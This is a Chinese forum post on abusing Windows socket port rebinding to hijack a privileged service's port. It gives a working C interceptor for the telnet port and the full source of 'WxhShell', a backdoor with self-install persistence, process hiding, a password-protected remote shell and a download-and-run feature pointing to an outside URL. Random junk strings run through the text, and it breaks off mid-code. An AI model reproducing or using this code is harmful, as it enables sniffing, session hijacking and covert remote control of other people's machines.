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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: rZKv:x}{6  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); <saS2.4  
C/<fR:`c  
  saddr.sin_family = AF_INET; jdXkU  
/n@_Ihx  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); e}(. u1  
*q|.H9 K(  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); %nFZA)B[  
gS4K](KH |  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 0b?9LFd  
31w?bx !Pp  
  这意味着什么?意味着可以进行如下的攻击: yc_(L-'n  
dQ/Xs.8  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 K4,VSy1byI  
i:qc2#O:J  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 0}Kl47}aD  
p KKn  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 _YmY y\g  
V=3NIw18  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  kYPowM  
YRW<n9=3  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 @2YO_rL[  
;9,Ll%Lk<  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ?9mWMf%t  
&y3_>!L  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 |I)Ms NF  
a9FlzR  
  #include [GU!],Y  
  #include b.8HGt<%  
  #include hL67g  
  #include    ZS^EKz~+  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ?uk|x!Ko]  
  int main() b]hRmW  
  { =1VY/sv  
  WORD wVersionRequested; SDA +XnmH  
  DWORD ret; hYb!RRGn  
  WSADATA wsaData; /bt@HFL|`  
  BOOL val; %QwMB`x  
  SOCKADDR_IN saddr; } ..}]J;To  
  SOCKADDR_IN scaddr; _ky!4^B  
  int err; 0kmVP~K  
  SOCKET s; ~4XJ" d3L  
  SOCKET sc; n)$ q*IN"  
  int caddsize; /3FC@?l w4  
  HANDLE mt; 5IVASqYp  
  DWORD tid;   r[EN`AxDb  
  wVersionRequested = MAKEWORD( 2, 2 ); <0JW[m  
  err = WSAStartup( wVersionRequested, &wsaData ); <9\_b 6  
  if ( err != 0 ) { zh*NRN  
  printf("error!WSAStartup failed!\n"); hh:0m\@<  
  return -1; _Xsn1  
  } i"Ct}7i  
  saddr.sin_family = AF_INET; "W\ #d  
   &NHIX(b6  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 D2>=^WP6+  
_4[kg)#+  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); :S~XE  
  saddr.sin_port = htons(23); @HIC i]  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) N@tzYD|hA  
  { /vsQ <t;~  
  printf("error!socket failed!\n"); J*a`qU   
  return -1; `=q)-y_C  
  } +SUQRDF@i  
  val = TRUE; Yw?%>L  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 JfKl=vg  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) D' uzH|z8  
  { ~|l>bf  
  printf("error!setsockopt failed!\n"); (Pvch!  
  return -1; 5#QB&A>  
  } o#%2N+w  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; f\^FUJy  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 MJ}VNv|S  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Bk?MF6  
',J3^h!b  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) {{@3r5K Gl  
  { |M9x&(H;Hw  
  ret=GetLastError(); :t\PYDp1  
  printf("error!bind failed!\n"); J]fjg%C2m  
  return -1; O23f\pm&  
  } :rk]o*  
  listen(s,2); ``>WFLWTn  
  while(1) Bz /NFNi[p  
  { BE%#4c.b  
  caddsize = sizeof(scaddr); HbZ3QWP  
  //接受连接请求 (doFYF~w  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); G>*s+  
  if(sc!=INVALID_SOCKET) ywi Shvi8  
  { RX7,z.9@'O  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); OEq8gpqY  
  if(mt==NULL) }v=q6C#Q>  
  { el+euOV  
  printf("Thread Creat Failed!\n"); 7th&C,c&  
  break; ~3/>;[!  
  } 0($MN]oZa  
  } 15Yy&9D  
  CloseHandle(mt); s- g[B(  
  } o6B!ikz 8  
  closesocket(s); sx*(JM}Be  
  WSACleanup(); s {$c8  
  return 0; iFS ?nZ~.  
  }   5hg>2?e9s?  
  DWORD WINAPI ClientThread(LPVOID lpParam) -kQ{~"> w  
  { h'IBVI!P  
  SOCKET ss = (SOCKET)lpParam; ph^qQDA  
  SOCKET sc; B-r9\fi,  
  unsigned char buf[4096]; r95$B6  
  SOCKADDR_IN saddr; -I\_v*nA  
  long num; mIl^  
  DWORD val; IE'OK  
  DWORD ret; )oHIRsr  
  //如果是隐藏端口应用的话,可以在此处加一些判断 Q0ev*MS9Z  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   {[)J~kC+  
  saddr.sin_family = AF_INET; V `@@ufU}  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); j_p.KF'[?  
  saddr.sin_port = htons(23); d~GT w:  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) nCXIWLw  
  { 9dy"Y~c  
  printf("error!socket failed!\n"); |l7e*$j  
  return -1; )h>Cp,|{  
  } [x-Z)Q. 5  
  val = 100; -$[=AqJXp;  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) "+saI@G  
  { .o.@cLdU  
  ret = GetLastError(); jf.ikxm  
  return -1; D@O '8  
  } BD,~M*%z  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) {7B$%G'  
  { OO53U=NU  
  ret = GetLastError(); o` ,&yq.  
  return -1; TZ-n)rC)v  
  } B\Rq0N]' M  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ]'2p"A0U  
  { .+{nfmc,c  
  printf("error!socket connect failed!\n"); v2rXuo  
  closesocket(sc); <f{m=Dc  
  closesocket(ss); w;r -TLf  
  return -1; ?ew^%1!W.  
  } f,`FbT  
  while(1) 3cQTl5,  
  { CaZEU(i  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 r`28fC  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 shnfH   
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 OuS{ve  
  num = recv(ss,buf,4096,0); IExQ}I  
  if(num>0) a,lH6lDk  
  send(sc,buf,num,0); D zl#[|q  
  else if(num==0) 7d'4"c;*;  
  break; X3X~`~bAD  
  num = recv(sc,buf,4096,0); EUUj-.dEN  
  if(num>0) !4I?59  
  send(ss,buf,num,0); tlqDY1  
  else if(num==0) od?Q&'A  
  break; AvP*p{we  
  } $T]1<3\G  
  closesocket(ss); I2K52A+  
  closesocket(sc); HmRwh  
  return 0 ; OXA_E/F  
  } %#ms`"H  
/KlA7MH6  
.-c3f1i  
========================================================== z9;vE7n!  
P]r"E  
下边附上一个代码,,WXhSHELL zXUE<\  
*b7 HtUA  
========================================================== #BlH)Cv  
@YWfq$23  
#include "stdafx.h" otX#}} +  
&v3r#$Hj[  
#include <stdio.h> 988aF/c  
#include <string.h> `d3S0N6@  
#include <windows.h> g<}EL[9  
#include <winsock2.h> P{QRmEE  
#include <winsvc.h> nb0<.ICF%R  
#include <urlmon.h> 5g/^wKhKG  
K2:r7f  
#pragma comment (lib, "Ws2_32.lib") ]DC]=F.  
#pragma comment (lib, "urlmon.lib") rv|k8  
"eh"' Z  
#define MAX_USER   100 // 最大客户端连接数 \+L_'*&8  
#define BUF_SOCK   200 // sock buffer J,m.LpY  
#define KEY_BUFF   255 // 输入 buffer /x-Ja[kL  
:Q$3P+6a  
#define REBOOT     0   // 重启 f_.1)O'83  
#define SHUTDOWN   1   // 关机 gtjgC0   
#Yj0'bgK  
#define DEF_PORT   5000 // 监听端口 %z8@;  
=p&6A^  
#define REG_LEN     16   // 注册表键长度 Er{[83  
#define SVC_LEN     80   // NT服务名长度 CdTmL{Y1  
`2r21rVntf  
// 从dll定义API t$Irr*  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); B>a`mFM  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ]~kqPw<R  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); b39;Sv|#  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); >k_Z]J6Pd  
!v`q%JW(  
// wxhshell配置信息  s.GTY@t  
struct WSCFG {  w8FZXL  
  int ws_port;         // 监听端口 TSHp.ABf  
  char ws_passstr[REG_LEN]; // 口令 ] ^  
  int ws_autoins;       // 安装标记, 1=yes 0=no D8[&}D4  
  char ws_regname[REG_LEN]; // 注册表键名 ?ADk`ts~,}  
  char ws_svcname[REG_LEN]; // 服务名 1T}|c;fc  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 +".&A#wU  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 mn0QVkb}lc  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 YhR?*Di  
int ws_downexe;       // 下载执行标记, 1=yes 0=no "NC( ^\l/  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe"  4uU(t  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 =bv8W < #  
'[\%P2c)Q  
}; *p.ELI1IC  
:*c@6;2@  
// default Wxhshell configuration \O7,CxD2  
struct WSCFG wscfg={DEF_PORT, 2(`2f  
    "xuhuanlingzhe", @J" }~Y  
    1, UxzwgVT  
    "Wxhshell", ]e?*7T]  
    "Wxhshell", r OB\u|Pg  
            "WxhShell Service", nV']^3b  
    "Wrsky Windows CmdShell Service", a[9;Okm #  
    "Please Input Your Password: ", Wuc,Cjm9(!  
  1, ]*zF#Voc  
  "http://www.wrsky.com/wxhshell.exe", 7M*+!al9  
  "Wxhshell.exe" YWq[)F@0G  
    }; `4;<\VYCr  
jX+LI  
// 消息定义模块 BLMcvK\9  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; unD8h=Z2  
char *msg_ws_prompt="\n\r? for help\n\r#>"; o/=K:5  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; *jA%.F  
char *msg_ws_ext="\n\rExit."; Hyee#fB  
char *msg_ws_end="\n\rQuit."; 1egryp  
char *msg_ws_boot="\n\rReboot..."; -P'>~W,~  
char *msg_ws_poff="\n\rShutdown..."; 39~fP)  
char *msg_ws_down="\n\rSave to "; ]]d@jj  
{' r(P&  
char *msg_ws_err="\n\rErr!"; JmN;v|wF:c  
char *msg_ws_ok="\n\rOK!"; eTrGFe!8w  
J>Zd75;U  
char ExeFile[MAX_PATH]; Y71b Lg  
int nUser = 0; J anLJe)  
HANDLE handles[MAX_USER]; cs@5K$v  
int OsIsNt; BA t2m-  
VT'$lB%IK  
SERVICE_STATUS       serviceStatus; by8d18:it  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; xYwbbFGrG  
Y6{p|F?&"  
// 函数声明 jh8%Xu]t  
int Install(void); Eda sGCo  
int Uninstall(void); Saz+GQ G  
int DownloadFile(char *sURL, SOCKET wsh); #3/l4`/j  
int Boot(int flag); gVq{g,yi  
void HideProc(void); L{gFk{@W  
int GetOsVer(void); >u4uV8S   
int Wxhshell(SOCKET wsl); `L9o !OsQ  
void TalkWithClient(void *cs); 2ix_,yTO  
int CmdShell(SOCKET sock); Yq5}r?N  
int StartFromService(void); sV[|op  
int StartWxhshell(LPSTR lpCmdLine); 1N#TL"lMS  
d5zzQ]|L  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); w_|WberU  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); iZ_R oJ  
7 ic]q,  
// 数据结构和表定义 4 &t6  
SERVICE_TABLE_ENTRY DispatchTable[] = K90Zf  
{ oMMU5sm  
{wscfg.ws_svcname, NTServiceMain}, m41n5T`  
{NULL, NULL} ""WZpaw  
}; }^LcKV  
&+sO"j4<?r  
// 自我安装 @)}Vk  
int Install(void) 2'pxA:  
{ 0s<o5`v  
  char svExeFile[MAX_PATH]; RKBjrSZg8  
  HKEY key; 7Uj[0Awn  
  strcpy(svExeFile,ExeFile); KE5f`h  
u $sX6  
// 如果是win9x系统,修改注册表设为自启动 03rZz1  
if(!OsIsNt) { Y1 -cz:  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { qw_qGgbl  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); _n{N3da  
  RegCloseKey(key); rp1 u  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { IFv2S|  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); }#yRa Ip  
  RegCloseKey(key); ;W+.]_$6)T  
  return 0; w"l8M0$m  
    } spe9^.SI  
  } <D4)gRRo  
} c\;} ov+  
else { 5h20\b?=$  
/n"A%6S  
// 如果是NT以上系统,安装为系统服务 Jv)]7u  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); (.n" J2qj  
if (schSCManager!=0) _$=xa6YA  
{ wkd591d*  
  SC_HANDLE schService = CreateService ,#"AWQ  
  ( PDpIU.=!0  
  schSCManager, LI nN-b#  
  wscfg.ws_svcname, "&2D6  
  wscfg.ws_svcdisp, 8^4X/n  
  SERVICE_ALL_ACCESS, wT.V3G  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,  &`@Jy|N\  
  SERVICE_AUTO_START, jR/X}XQtY  
  SERVICE_ERROR_NORMAL, z%;\q$  
  svExeFile, {yG)Ii  
  NULL, N?pD"re)6  
  NULL, oW/&X5  
  NULL, xH' H! 8  
  NULL, +Oyt   
  NULL Qy3e ,9nS  
  ); q2hZ1o  
  if (schService!=0) x b_C1n  
  { 4&$G;?#W2  
  CloseServiceHandle(schService); b1 KiO2 E  
  CloseServiceHandle(schSCManager); }wv$ #H[  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); {) .=G  
  strcat(svExeFile,wscfg.ws_svcname); PD/~@OsxU  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { I&(cdKY z  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); _nTjCN625  
  RegCloseKey(key); H%sQVE7m  
  return 0; ^lQ-w|7(  
    } [tBIABr  
  } tDi=T]-bt  
  CloseServiceHandle(schSCManager); GN~:rdd  
} m' aakq  
} #Xn#e  
x?j&Jn_@w  
return 1; eg,S(;VEt  
} l YZHM,"  
> ZNL pJQ  
// 自我卸载 e3Lf'+G\  
int Uninstall(void) &Owt:R)9~  
{ 5T;_k'qe  
  HKEY key; T+~~w'v0  
0[hl&7 Ab@  
if(!OsIsNt) { S`*al<m  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 'Lm.`U  
  RegDeleteValue(key,wscfg.ws_regname); $9l3 DJ  
  RegCloseKey(key); F1,pAtA  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {  NOQgkN  
  RegDeleteValue(key,wscfg.ws_regname); p@Qzg /X  
  RegCloseKey(key); aFC3yMKXh  
  return 0; rgP$\xn-  
  } h]zx7zt-  
} ?]7ITF  
}  6f{c  
else { eFeeloH?e*  
`i.f4]r  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); f|q6<n_nM  
if (schSCManager!=0) Dn6DkD!  
{ O&O1O> [p1  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); h]D=v B  
  if (schService!=0) :s$9#}hw,  
  { klx4Mvq+/@  
  if(DeleteService(schService)!=0) { "?N`9J|j)~  
  CloseServiceHandle(schService); @lj  
  CloseServiceHandle(schSCManager); Cw+ (,1  
  return 0; 4 bJ3uIP#  
  } I&cb5j]C  
  CloseServiceHandle(schService); t^7R6y  
  } y k#:.5H  
  CloseServiceHandle(schSCManager); @E==~ b  
} ~ib#x~Db  
} r7IhmdA  
L~yy;)]W  
return 1; gZPJZN/cpz  
} f?{Y<M~]  
", |wG7N K  
// 从指定url下载文件 V)0bLR  
int DownloadFile(char *sURL, SOCKET wsh) HSUr  
{ qGh rJ6R!  
  HRESULT hr; 2R5]UR S  
char seps[]= "/"; x Apa+j6I  
char *token; iF 67  
char *file; N..u<06j/  
char myURL[MAX_PATH]; 2`Pk@,:_  
char myFILE[MAX_PATH]; Lc.7:r  
lRO8}XSI  
strcpy(myURL,sURL); i>rn!?b  
  token=strtok(myURL,seps); ^%<v| Y(X  
  while(token!=NULL) > *_?^F_  
  { Q!Op^4Jz  
    file=token; 9YvMJ  
  token=strtok(NULL,seps); leD?yyjw7  
  } Bf-&[ 5N}  
i\<l&W  
GetCurrentDirectory(MAX_PATH,myFILE); AG9U2x  
strcat(myFILE, "\\"); BShZ)t  
strcat(myFILE, file); Al` ;SWN  
  send(wsh,myFILE,strlen(myFILE),0); B"EMir'  
send(wsh,"...",3,0); `n%~#TJ  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); >kB?C!\  
  if(hr==S_OK) QUe.vb^O  
return 0; &R8zuD`#  
else OE[/sv  
return 1; zO+nEsf^O  
Z os~1N]3  
} )WFUAzuN,  
\u)(+t{  
// 系统电源模块 ("TI~  
int Boot(int flag) |FNP~5v  
{ ;N j5NB7  
  HANDLE hToken; +fwq9I>L  
  TOKEN_PRIVILEGES tkp; uj]GBo=  
?(|!VLu  
  if(OsIsNt) { P_?1Rwm-45  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); \(z)]D  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); \fKv+  
    tkp.PrivilegeCount = 1; g =%W"v  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; d6L(Q(:s  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 1XZ&X]  
if(flag==REBOOT) { ~bwFQYY=  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) r!zNcN(%cs  
  return 0;  /!9949XV  
} :,7VqCh3@  
else { 95+}NJ;r  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ;w+A38N$J  
  return 0; {66vdAu&h<  
} "RG.vo7b  
  } z;3}GxE-si  
  else { z* `81  
if(flag==REBOOT) { XRz.R/  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 0p#36czqy  
  return 0; ?ph"|LyL  
} Gm|QOuw  
else { i|=XW6J%  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) WL7:22nSHa  
  return 0; 1'd "O @  
} [OT@gp:  
} F6 UOo.L)I  
R<wb8iir  
return 1; $Qm;F% >  
} dXOjaS# ~  
ngNg1zV/q  
// win9x进程隐藏模块 M'g4alS  
void HideProc(void) ?,Hk]Rl3  
{ <n#JOjHV  
.f6_[cS;g  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); `t8e2?GH  
  if ( hKernel != NULL ) Pq`4Y K  
  { ;ndg,05_  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); k"n#4o:  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); {1qEN_ERx  
    FreeLibrary(hKernel); BY 1~\M  
  } U M#]olh  
n XQg(!  
return; k4`v(au^  
} jLEU V  
36j.is  
// 获取操作系统版本 /wK7l-S  
int GetOsVer(void) 9\"~G)  
{ ?r@ZTuq#  
  OSVERSIONINFO winfo; XM)|v |  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); '}}DPoV  
  GetVersionEx(&winfo); `6M(`*Up  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 6Z'zB&hM}  
  return 1; #VrT)po+  
  else vi=yR  
  return 0; Tq?W @DM*  
} mki=.l$O  
7>4t{aRf_8  
// 客户端句柄模块 {vU '>pp  
int Wxhshell(SOCKET wsl) :3G9YjzC}  
{ )dvOg'it  
  SOCKET wsh; jALo;PDJ  
  struct sockaddr_in client; n%O`K{86  
  DWORD myID; )-sEm`(`I9  
D2hvf ^g'*  
  while(nUser<MAX_USER) .3Ap+V8?  
{ rXaL1`t*  
  int nSize=sizeof(client); <^&'r5H  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ]~oM'?&!  
  if(wsh==INVALID_SOCKET) return 1; 00Rk%QV  
SY{J  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Vt&I[osC  
if(handles[nUser]==0) ?^7~|?v  
  closesocket(wsh); 0|U<T#t8?  
else k{;:KW|  
  nUser++; <>R7G)w F  
  } Tu"yoF  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 2<'gX>TW  
|[V(u  
  return 0; J) (pGS@  
} EuAa  
>s>5k O  
// 关闭 socket [IYs4Y5  
void CloseIt(SOCKET wsh) /2z 2a-!r  
{ H#ihU3q  
closesocket(wsh); U_J|{*4S.!  
nUser--; ;S%wPXj&  
ExitThread(0); V2bod=&Lc  
} U9 If%0P  
c]O4l2nCL  
// 客户端请求句柄 kn<[v;+  
void TalkWithClient(void *cs) $L&*0$[]Q  
{ abK/!m[q  
FYi<+]HZ  
  SOCKET wsh=(SOCKET)cs; b1^MX).vH  
  char pwd[SVC_LEN]; F |GWYw'%  
  char cmd[KEY_BUFF]; =l\D7s  
char chr[1]; L2:C6Sc  
int i,j; ND`~|6yb  
oo qNPLa  
  while (nUser < MAX_USER) { )h/fr|  
Ufk7%`  
if(wscfg.ws_passstr) { c2i^dNp_  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 4v{gc/g  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); J0x)m2  
  //ZeroMemory(pwd,KEY_BUFF); &2g1Oy~  
      i=0; 4RK^efnp  
  while(i<SVC_LEN) { <vAg\Tv:S  
rzex"}/ly  
  // 设置超时 w,P2_xk`  
  fd_set FdRead; :xA'X+d/'  
  struct timeval TimeOut; BEY}mR]  
  FD_ZERO(&FdRead); U2h?l `nP  
  FD_SET(wsh,&FdRead); tV T(!&(  
  TimeOut.tv_sec=8; LX3 5Lt  
  TimeOut.tv_usec=0; Y`_6Ny="  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); @Pa ;h  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); wvgX5P>  
ptsi\ 7BG  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); NTn-4iJy  
  pwd=chr[0]; ^y?? pp<1J  
  if(chr[0]==0xd || chr[0]==0xa) { HWc=.Qq  
  pwd=0; 3cs'Oz<w  
  break; Bp b_y;E  
  } jbG #__#_  
  i++; FkRrW^?5G  
    } m7d? SU  
)Z]8SED  
  // 如果是非法用户,关闭 socket ,H|V\\  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ('>!dXA$  
} <8'}H`w%  
yYW>)  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); C^ uXJ~8  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); QYg2'`(  
C`DTPoXN  
while(1) { 7H=/FT?e]  
+H+OYQ>^  
  ZeroMemory(cmd,KEY_BUFF); QupCr/Hs  
V RT| OUq  
      // 自动支持客户端 telnet标准   JH2d+8O:qK  
  j=0; vQ 5 p  
  while(j<KEY_BUFF) { -[G+*3Y{7  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); LB-4/G$  
  cmd[j]=chr[0]; teET nz_L  
  if(chr[0]==0xa || chr[0]==0xd) { MvQ0"-ZQ  
  cmd[j]=0; [X;yJ$  
  break; l].dOso$`  
  } g }5lGz4  
  j++; V:yia^1  
    } C?X^h{T p  
JH5ckgdZ  
  // 下载文件 pYH#Vh  
  if(strstr(cmd,"http://")) { 8I`>tY  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); }ob#LC,  
  if(DownloadFile(cmd,wsh)) xa??OT`(  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); l(*`,-pv:  
  else {QI"WFdGx  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &pV'/  
  } TU^UR}=lP  
  else { [Jwo,?w  
zcy!YB  
    switch(cmd[0]) { 5hg:@i',  
  R8sj>.I9j  
  // 帮助 %?^IS&]Z  
  case '?': { X=8y$Yy  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ol [   
    break; ~#C7G\R  
  } JN,4#,  
  // 安装 r ".*l?=  
  case 'i': { ~ep-XO  
    if(Install()) ">@]{e*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q9Sh2qF^2  
    else $qV, z  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); fp^{612O?  
    break; \oA>%+]5  
    } )[oegfnn-  
  // 卸载 UP'~D]J  
  case 'r': { ~=67#&(R  
    if(Uninstall()) aJdd2,e  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); rO[cm}  
    else  qr~P$  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #ueWU  
    break; /H3z~PBa  
    } {<+B>6^  
  // 显示 wxhshell 所在路径 (E[c-1s  
  case 'p': { D<U^FT  
    char svExeFile[MAX_PATH]; Ve)P/Zz}^  
    strcpy(svExeFile,"\n\r"); \MI2^J N  
      strcat(svExeFile,ExeFile); Xt} 4B#  
        send(wsh,svExeFile,strlen(svExeFile),0); `1 A,sXfa  
    break; o^+2%S`]  
    } <;kcy :s  
  // 重启 /Z^"[Ke  
  case 'b': { wIQ~a  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); CiF(   
    if(Boot(REBOOT)) !:Z lVIA  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /o L& <e  
    else { Bm"-X:='  
    closesocket(wsh); 2S,N9 (7  
    ExitThread(0); h @AKfE!\~  
    } >f$N G  
    break; . ,h>2;f  
    } ! [3  /!  
  // 关机 <$z6:4uN_  
  case 'd': { = y @*vl   
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); $/p0DY  
    if(Boot(SHUTDOWN)) RW-) ({  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); T3wQRn  
